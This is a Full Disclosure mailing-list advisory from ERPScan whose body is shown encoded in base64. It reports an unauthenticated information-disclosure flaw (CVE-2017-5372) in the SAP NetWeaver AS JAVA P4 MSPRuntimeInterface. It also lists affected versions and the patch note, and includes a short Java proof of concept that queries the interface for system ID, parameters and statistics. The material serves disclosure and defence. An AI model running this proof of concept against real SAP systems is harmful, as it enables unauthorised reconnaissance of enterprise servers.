[ERPSCAN-16-037] SAP NetWeaver AS JAVA P4 - INFORMATION DISCLOSURE
ERPScan inc <[email protected]> Thu, 19 Jan 2017 16:30:21 +0300
| Newsgroups | gmane.comp.security.fulldisclosure,gmane.comp.security.penetration,gmane.comp.security.bugtraq |
|---|---|
| Message-ID | <CANHWe92Cjs_fVW61=yZpdmwBJ_H0p0WEbOobw2+yR7oPy0_ebQ@mail.gmail.com> |
QXBwbGljYXRpb246IFNBUCBOZXRXZWF2ZXIgQVMgSkFWQQoKVmVyc2lvbnMgQWZmZWN0ZWQ6IFNB UCBOZXRXZWF2ZXIgQVMgSkFWQSA3LjExLTcuNAoKVmVuZG9yIFVSTDogaHR0cDovL1NBUC5jb20K CkJ1Z3M6IEluZm9ybWF0aW9uIGRpc2Nsb3N1cmUKClNlbnQ6ICAxMC4wMy4yMDE2CgpSZXBvcnRl ZDogMTEuMDMuMjAxNgoKVmVuZG9yIHJlc3BvbnNlOiAxMS4wMy4yMDE2CgpEYXRlIG9mIFB1Ymxp YyBBZHZpc29yeTogMTIuMTAuMjAxNgoKUmVmZXJlbmNlOiBTQVAgU2VjdXJpdHkgTm90ZSAyMzMx OTA4CgpBdXRob3I6ICBWYWhhZ24gQHZhaF8xMyBWYXJkYW55YW4gKEVSUFNjYW4pCgoKCkRlc2Ny aXB0aW9uCgoxLiBBRFZJU09SWSBJTkZPUk1BVElPTgoKVGl0bGU6W0VSUFNDQU4tMTYtMDM3XSBT QVAgTmV0V2VhdmVyIEFTIEpBVkEgUDQgTVNQUlVOVElNRUlOVEVSRkFDRQpJTkZPUk1BVElPTiBE SVNDTE9TVVJFCgpBZHZpc29yeSBJRDpbRVJQU0NBTi0xNi0wMzddCgpSaXNrOiBoaWdoCgpBZHZp c29yeSBVUkw6Cmh0dHBzOi8vZXJwc2Nhbi5jb20vYWR2aXNvcmllcy9lcnBzY2FuLTE2LTAzNy1z YXAtamF2YS1wNC1tc3BydW50aW1laW50ZXJmYWNlLWluZm9ybWF0aW9uLWRpc2Nsb3N1cmUvCgpE YXRlIHB1Ymxpc2hlZDogMTEuMDEuMjAxNwoKVmVuZG9ycyBjb250YWN0ZWQ6IFNBUAoKMi4gVlVM TkVSQUJJTElUWSBJTkZPUk1BVElPTgoKQ2xhc3M6IEluZm9ybWF0aW9uIGRpc2Nsb3N1cmUKCklt cGFjdDogYnJva2VuIGF1dGhlbnRpY2F0aW9uCgpSZW1vdGVseSBFeHBsb2l0YWJsZTogeWVzCgpM b2NhbGx5IEV4cGxvaXRhYmxlOiBubwoKQ1ZFOiBDVkUtMjAxNy01MzcyCgpDVlNTIEluZm9ybWF0 aW9uCgpDVlNTIEJhc2UgU2NvcmUgdjM6ICAgIDcuMyAvIDEwCgpDVlNTIEJhc2UgVmVjdG9yOgoK QVYgOiBBdHRhY2sgVmVjdG9yIChSZWxhdGVkIGV4cGxvaXQgcmFuZ2UpIE5ldHdvcmsgKE4pCgpB QyA6IEF0dGFjayBDb21wbGV4aXR5IChSZXF1aXJlZCBhdHRhY2sgY29tcGxleGl0eSkgTG93IChM KQoKUFIgOiBQcml2aWxlZ2VzIFJlcXVpcmVkIChMZXZlbCBvZiBwcml2aWxlZ2VzIG5lZWRlZCB0 byBleHBsb2l0KSBOb25lIChOKQoKVUkgOiBVc2VyIEludGVyYWN0aW9uIChSZXF1aXJlZCB1c2Vy IHBhcnRpY2lwYXRpb24pIE5vbmUgKE4pCgpTIDogU2NvcGUgKENoYW5nZSBpbiBzY29wZSBkdWUg dG8gaW1wYWN0IGNhdXNlZCB0byBjb21wb25lbnRzIGJleW9uZCB0aGUKdnVsbmVyYWJsZSBjb21w b25lbnQpIFVuY2hhbmdlZCAoVSkKCkMgOiBJbXBhY3QgdG8gQ29uZmlkZW50aWFsaXR5IExvdyAo TCkKCkkgOiBJbXBhY3QgdG8gSW50ZWdyaXR5IExvdyAoTCkKCkEgOiBJbXBhY3QgdG8gQXZhaWxh YmlsaXR5IExvdyAoTCkKCgozLiBWVUxORVJBQklMSVRZIERFU0NSSVBUSU9OCgpBbm9ueW1vdXMg YXR0YWNrZXIgY2FuIHNlbmQgYSBzcGVjaWFsIHJlcXVlc3QgYW5kIGdldCBzZW5zaXRpdmUgaW5m b3JtYXRpb24KYWJvdXQgYW4gU0FQIHN5c3RlbSB1c2luZyBTQVAgUDQuCgo0LiBWVUxORVJBQkxF IFBBQ0tBR0VTCgoKU0VSVkVSQ09SRQoKNy4xMQo3LjIwCjcuMzAKNy4zMQo3LjQwCjcuNTAKCgo1 LiBTT0xVVElPTlMgQU5EIFdPUktBUk9VTkRTCgpUbyBjb3JyZWN0IHRoaXMgdnVsbmVyYWJpbGl0 eSwgaW5zdGFsbCBTQVAgU2VjdXJpdHkgTm90ZSAgMjMzMTkwOAoKCgo2LiBBVVRIT1IKCiBWYWhh Z24gVmFyZGFueWFuIChFUlBTY2FuKQoKCgo3LiBURUNITklDQUwgREVTQ1JJUFRJT04KClNBUCBB UyBKQVZBIFA0IGZ1bmN0aW9uIG1zcCAoTVNQUnVudGltZUludGVyZmFjZSkgZG9lcyBub3QgcmVx dWlyZSBhbnkKYXV0aG9yaXphdGlvbiB0byBjYWxsIHRoZSBmb2xsb3dpbmcgZnVuY3Rpb25zOgoK CmdldEluZm9ybWF0aW9uCgpnZXRQYXJhbWV0ZXJzCgpnZXRTZXJ2aWNlSW5mbwoKZ2V0U3RhdGlz dGljCgpnZXRDbGllbnRTdGF0aXN0aWMKClBvQyAoSmF2YSBsYW5ndWFnZSkKCgpwYWNrYWdlIHNh cF9wNF9wb2M7CgoqKioqKgoKUHJvcGVydGllcyBwID0gbmV3IFByb3BlcnRpZXMoKTsKCnAucHV0 KCJqYXZhLm5hbWluZy5mYWN0b3J5LmluaXRpYWwiLAoiY29tLnNhcC5lbmdpbmUuc2VydmljZXMu am5kaS5Jbml0aWFsQ29udGV4dEZhY3RvcnlJbXBsIik7CgpwLnB1dCgiamF2YS5uYW1pbmcucHJv dmlkZXIudXJsIiwgU0FQX0lQKyI6IitTQVBfUE9SVCk7CgpJbml0aWFsQ29udGV4dCBpbml0aWFs Q29udGV4dCA9IG5ldyBJbml0aWFsQ29udGV4dChwKTsKCkNvbnRleHQgaW5pdGlhbENvbnRleHQg PSBpbml0aWFsQ29udGV4dDsKCk1TUFJ1bnRpbWVJbnRlcmZhY2Ugc2VyaWFsT2JqID0KKE1TUFJ1 bnRpbWVJbnRlcmZhY2UpaW5pdGlhbENvbnRleHQubG9va3VwKCJtc3AiKTsKClN5c3RlbS5vdXQu cHJpbnRsbigiLS0tLS0tLS0tLS0tLS0tLSIgKyBzZXJpYWxPYmogKwoiLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSIpOwoKU3lzdGVtLm91dC5wcmludGxuKCItLS0tLS0t LS0tLS0tLS0tU0lEOiIgKyBzZXJpYWxPYmouZ2V0U3lzdGVtSWQoKSArCiItLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tIik7CgpTeXN0ZW0ub3V0LnByaW50bG4oIi0tLS0t LS0tLS0tLS0tLS0tLS0tLS1nZXRJbmZvcm1hdGlvbjotLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLSIpOwoKVHJlZU1hcCBJbmYgPSBzZXJpYWxPYmouZ2V0SW5mb3JtYXRpb24oKTsKCnBy aW50X3RyZWVlX21hcChJbmYpOwoKU3lzdGVtLm91dC5wcmludGxuKCItLS0tLS0tLS0tLS0tLS0t LS0tLS0tZ2V0UGFyYW1ldGVyczotLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tIik7 CgpUcmVlTWFwIFBhciA9IHNlcmlhbE9iai5nZXRQYXJhbWV0ZXJzKCk7CgpwcmludF90cmVlZV9t YXAoUGFyKTsKClN5c3RlbS5vdXQucHJpbnRsbigiLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS1nZXRT ZXJ2aWNlSW5mbzotLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0iKTsKClRyZWVNYXAg U2VydiA9IHNlcmlhbE9iai5nZXRTZXJ2aWNlSW5mbygpOwoKcHJpbnRfdHJlZWVfbWFwKFNlcnYp OwoKU3lzdGVtLm91dC5wcmludGxuKCItLS0tLS0tLS0tLS0tLS0tLS0tLS0tLWdldFN0YXRpc3Rp YzotLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0iKTsKClRyZWVNYXAgU3RhdCA9IHNl cmlhbE9iai5nZXRTdGF0aXN0aWMoKTsKCnByaW50X3RyZWVlX21hcChTdGF0KTsKClN5c3RlbS5v dXQucHJpbnRsbigiLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS1nZXRDbGllbnRTdGF0aXN0aWM6LS0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tIik7CgpUcmVlTWFwIENsaSA9IHNlcmlhbE9i ai5nZXRDbGllbnRTdGF0aXN0aWMoKTsKCnByaW50X3RyZWVlX21hcChDbGkpOwoKCgo4LiBSRVBP UlQgVElNRUxJTkUKClJlcG9ydGVkOiAxMS4wMy4yMDE2CgpWZW5kb3IgcmVzcG9uc2U6IDExLjAz LjIwMTYKCkRhdGUgb2YgUHVibGljIEFkdmlzb3J5OiAxMi4xMC4yMDE2CgoKOS4gUkVGRVJFTkNF UwoKaHR0cHM6Ly9lcnBzY2FuLmNvbS9hZHZpc29yaWVzL2VycHNjYW4tMTYtMDM3LXNhcC1qYXZh LXA0LW1zcHJ1bnRpbWVpbnRlcmZhY2UtaW5mb3JtYXRpb24tZGlzY2xvc3VyZS8KCgoxMC4gQUJP VVQgRVJQU2NhbiBSZXNlYXJjaAoKRVJQU2NhbiByZXNlYXJjaCB0ZWFtIHNwZWNpYWxpemVzIGlu IHZ1bG5lcmFiaWxpdHkgcmVzZWFyY2ggYW5kIGFuYWx5c2lzIG9mCmNyaXRpY2FsIGVudGVycHJp c2UgYXBwbGljYXRpb25zLiBJdCB3YXMgYWNrbm93bGVkZ2VkIG11bHRpcGxlIHRpbWVzIGJ5IHRo ZQpsYXJnZXN0IHNvZnR3YXJlIHZlbmRvcnMgbGlrZSBTQVAsIE9yYWNsZSwgTWljcm9zb2Z0LCBJ Qk0sIFZNd2FyZSwgSFAgZm9yCmRpc2NvdmVyaW5nIG1vcmUgdGhhbiA0MDAgdnVsbmVyYWJpbGl0 aWVzIGluIHRoZWlyIHNvbHV0aW9ucyAoMjAwIG9mIHRoZW0KanVzdCBpbiBTQVAhKS4KCkVSUFNj YW4gcmVzZWFyY2hlcnMgYXJlIHByb3VkIG9mIGRpc2NvdmVyaW5nIG5ldyB0eXBlcyBvZiB2dWxu ZXJhYmlsaXRpZXMKKFRPUCAxMCBXZWIgSGFja2luZyBUZWNobmlxdWVzIDIwMTIpIGFuZCBvZiB0 aGUgIlRoZSBCZXN0IFNlcnZlci1TaWRlIEJ1ZyIKbm9taW5hdGlvbiBhdCBCbGFja0hhdCAyMDEz LgoKRVJQU2NhbiBleHBlcnRzIHBhcnRpY2lwYXRlZCBhcyBzcGVha2VycywgcHJlc2VudGVycywg YW5kIHRyYWluZXJzIGF0IDYwKwpwcmltZSBpbnRlcm5hdGlvbmFsIHNlY3VyaXR5IGNvbmZlcmVu Y2VzIGluIDI1KyBjb3VudHJpZXMgYWNyb3NzIHRoZQpjb250aW5lbnRzICggZS5nLiBCbGFja0hh dCwgUlNBLCBISVRCKSBhbmQgY29uZHVjdGVkIHByaXZhdGUgdHJhaW5pbmdzIGZvcgpzZXZlcmFs IEZvcnR1bmUgMjAwMCBjb21wYW5pZXMuCgpFUlBTY2FuIHJlc2VhcmNoZXJzIGNhcnJ5IG91dCB0 aGUgRUFTLVNFQyBwcm9qZWN0IHRoYXQgaXMgZm9jdXNlZCBvbgplbnRlcnByaXNlIGFwcGxpY2F0 aW9uIHNlY3VyaXR5IGF3YXJlbmVzcyBieSBpc3N1aW5nIGFubnVhbCBTQVAgc2VjdXJpdHkKcmVz ZWFyY2hlcy4KCkVSUFNjYW4gZXhwZXJ0cyB3ZXJlIGludGVydmlld2VkIGluIHNwZWNpYWxpemVk IGluZm8tc2VjIHJlc291cmNlcyBhbmQKZmVhdHVyZWQgaW4gbWFqb3IgbWVkaWEgd29ybGR3aWRl LiBBbW9uZyB0aGVtIHRoZXJlIGFyZSBSZXV0ZXJzLCBZYWhvbywgU0MKTWFnYXppbmUsIFRoZSBS ZWdpc3RlciwgQ0lPLCBQQyBXb3JsZCwgRGFya1JlYWRpbmcsIEhlaXNlLCBDaGluYWJ5dGUsIGV0 Yy4KCk91ciB0ZWFtIGNvbnNpc3RzIG9mIGhpZ2hseS1xdWFsaWZpZWQgcmVzZWFyY2hlcnMsIHNw ZWNpYWxpemVkIGluIHZhcmlvdXMKZmllbGRzIG9mIGN5YmVyc2VjdXJpdHkgKGZyb20gd2ViIGFw cGxpY2F0aW9uIHRvIElDUy9TQ0FEQSBzeXN0ZW1zKSwKZ2F0aGVyaW5nIHRoZWlyIGV4cGVyaWVu Y2UgdG8gY29uZHVjdCB0aGUgYmVzdCBTQVAgc2VjdXJpdHkgcmVzZWFyY2guCgoxMS4gQUJPVVQg RVJQU2NhbgoKRVJQU2NhbiBpcyB0aGUgbW9zdCByZXNwZWN0ZWQgYW5kIGNyZWRpYmxlIEJ1c2lu ZXNzIEFwcGxpY2F0aW9uCkN5YmVyc2VjdXJpdHkgcHJvdmlkZXIuIEZvdW5kZWQgaW4gMjAxMCwg dGhlIGNvbXBhbnkgb3BlcmF0ZXMgZ2xvYmFsbHkgYW5kCmVuYWJsZXMgbGFyZ2UgT2lsIGFuZCBH YXMsIEZpbmFuY2lhbCwgUmV0YWlsIGFuZCBvdGhlciBvcmdhbml6YXRpb25zIHRvCnNlY3VyZSB0 aGVpciBtaXNzaW9uLWNyaXRpY2FsIHByb2Nlc3Nlcy4gTmFtZWQgYXMgYW4g4oCYRW1lcmdpbmcg VmVuZG9y4oCZIGluClNlY3VyaXR5IGJ5IENSTiwgbGlzdGVkIGFtb25nIOKAnFRPUCAxMDAgU0FQ IFNvbHV0aW9uIHByb3ZpZGVyc+KAnSBhbmQKZGlzdGluZ3Vpc2hlZCBieSAzMCsgb3RoZXIgYXdh cmRzLCBFUlBTY2FuIGlzIHRoZSBsZWFkaW5nIFNBUCBTRSBwYXJ0bmVyIGluCmRpc2NvdmVyaW5n IGFuZCByZXNvbHZpbmcgc2VjdXJpdHkgdnVsbmVyYWJpbGl0aWVzLiBFUlBTY2FuIGNvbnN1bHRh bnRzCndvcmsgd2l0aCBTQVAgU0UgaW4gV2FsbGRvcmYgdG8gYXNzaXN0IGluIGltcHJvdmluZyB0 aGUgc2VjdXJpdHkgb2YgdGhlaXIKbGF0ZXN0IHNvbHV0aW9ucy4KCkVSUFNjYW7igJlzIHByaW1h cnkgbWlzc2lvbiBpcyB0byBjbG9zZSB0aGUgZ2FwIGJldHdlZW4gdGVjaG5pY2FsIGFuZApidXNp bmVzcyBzZWN1cml0eSwgYW5kIHByb3ZpZGUgc29sdXRpb25zIGZvciBDSVNPJ3MgdG8gZXZhbHVh dGUgYW5kIHNlY3VyZQpTQVAgYW5kIE9yYWNsZSBFUlAgc3lzdGVtcyBhbmQgYnVzaW5lc3MtY3Jp dGljYWwgYXBwbGljYXRpb25zIGZyb20gYm90aApjeWJlcmF0dGFja3MgYW5kIGludGVybmFsIGZy YXVkLiBBcyBhIHJ1bGUsIG91ciBjbGllbnRzIGFyZSBsYXJnZQplbnRlcnByaXNlcywgRm9ydHVu ZSAyMDAwIGNvbXBhbmllcyBhbmQgTVNQcywgd2hvc2UgcmVxdWlyZW1lbnRzIGFyZSB0bwphY3Rp dmVseSBtb25pdG9yIGFuZCBtYW5hZ2Ugc2VjdXJpdHkgb2YgdmFzdCBTQVAgYW5kIE9yYWNsZSBs YW5kc2NhcGVzIG9uIGEKZ2xvYmFsIHNjYWxlLgoKV2Ug4oCYZm9sbG93IHRoZSBzdW7igJkgYW5k IGhhdmUgdHdvIGh1YnMsIGxvY2F0ZWQgaW4gUGFsbyBBbHRvIGFuZCBBbXN0ZXJkYW0sCnRvIHBy b3ZpZGUgdGhyZWF0IGludGVsbGlnZW5jZSBzZXJ2aWNlcywgY29udGludW91cyBzdXBwb3J0IGFu ZCB0byBvcGVyYXRlCmxvY2FsIG9mZmljZXMgYW5kIHBhcnRuZXIgbmV0d29yayBzcGFubmluZyAy MCsgY291bnRyaWVzIGFyb3VuZCB0aGUgZ2xvYmUuCgoKQWRyZXNzIFVTQTogMjI4IEhhbWlsdG9u IEF2ZW51ZSwgRmwuIDMsIFBhbG8gQWx0bywgQ0EuIDk0MzAxCgpQaG9uZTogNjUwLjc5OC41MjU1 CgpUd2l0dGVyOiBAZXJwc2NhbgoKU2Nvb3AtaXQ6IEJ1c2luZXNzIEFwcGxpY2F0aW9uIFNlY3Vy aXR5CgpfX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fXwpTZW50 IHRocm91Z2ggdGhlIEZ1bGwgRGlzY2xvc3VyZSBtYWlsaW5nIGxpc3QKaHR0cHM6Ly9ubWFwLm9y Zy9tYWlsbWFuL2xpc3RpbmZvL2Z1bGxkaXNjbG9zdXJlCldlYiBBcmNoaXZlcyAmIFJTUzogaHR0 cDovL3NlY2xpc3RzLm9yZy9mdWxsZGlzY2xvc3VyZS8=